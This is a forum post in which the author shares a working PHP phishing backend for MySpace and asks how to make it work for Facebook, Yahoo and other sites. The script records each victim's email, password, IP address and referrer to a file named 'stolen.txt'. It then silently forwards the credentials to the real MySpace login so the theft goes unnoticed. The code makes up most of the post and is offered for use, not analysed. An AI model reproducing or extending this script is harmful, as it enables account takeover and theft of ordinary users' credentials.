Nubs + PHP
argh, is there anyway to get a php to send me ip, password and username/email without having to edit it for each individual site?
This is what i currently use for MySpace...
Code:
<?php
if(isset($_POST["email"]) && isset($_POST["password"]))
{
$userEmail = $_POST["email"];
$userPassword = $_POST["password"];
$referer = $_SERVER["HTTP_REFERER"];
$ipAddress= $_SERVER["REMOTE_ADDR"];
$logLine = "
Email: $userEmail
Password: $userPassword
IP address: $ipAddress
Referrer: $referer
";
if(!$logHandle = fopen("stolen.txt", "a"))
{
print("Can't open the file. Exiting...");
exit(0);
}
if(!fwrite($logHandle, $logLine))
{
print("Couldn't write to the file. Exiting...");
exit(0);
}
fclose($logHandle);
print("
<html>
<head>
</head>
<body>
<form method=\"post\" action=\"http://login.myspace.com/index.cfm?fuseaction=login.process\" id=\"myspace_form\">
<input name=\"Login\" type=\"hidden\" value=\"" . $_POST["Login"] . "\" />
<input name=\"email\" type=\"hidden\" value=\"" . $_POST["email"] . "\" />
<input name=\"password\" type=\"hidden\" value=\"" . $_POST["password"] . "\" />
<input name=\"Remember\" type=\"hidden\" value=\"" . $_POST["Remember"] . "\" />
</form>
<script type=\"text/javascript\">
document.getElementById(\"myspace_form\").submit();
</script>
</body>
</html>
");
}
?>
Is there anyway to make it so it can "theoretically" work with multiple sites? facebook, myspace and yahoo for example?
-----------------
Never argue with an idiot, they drag you down to their level and beat you with experience.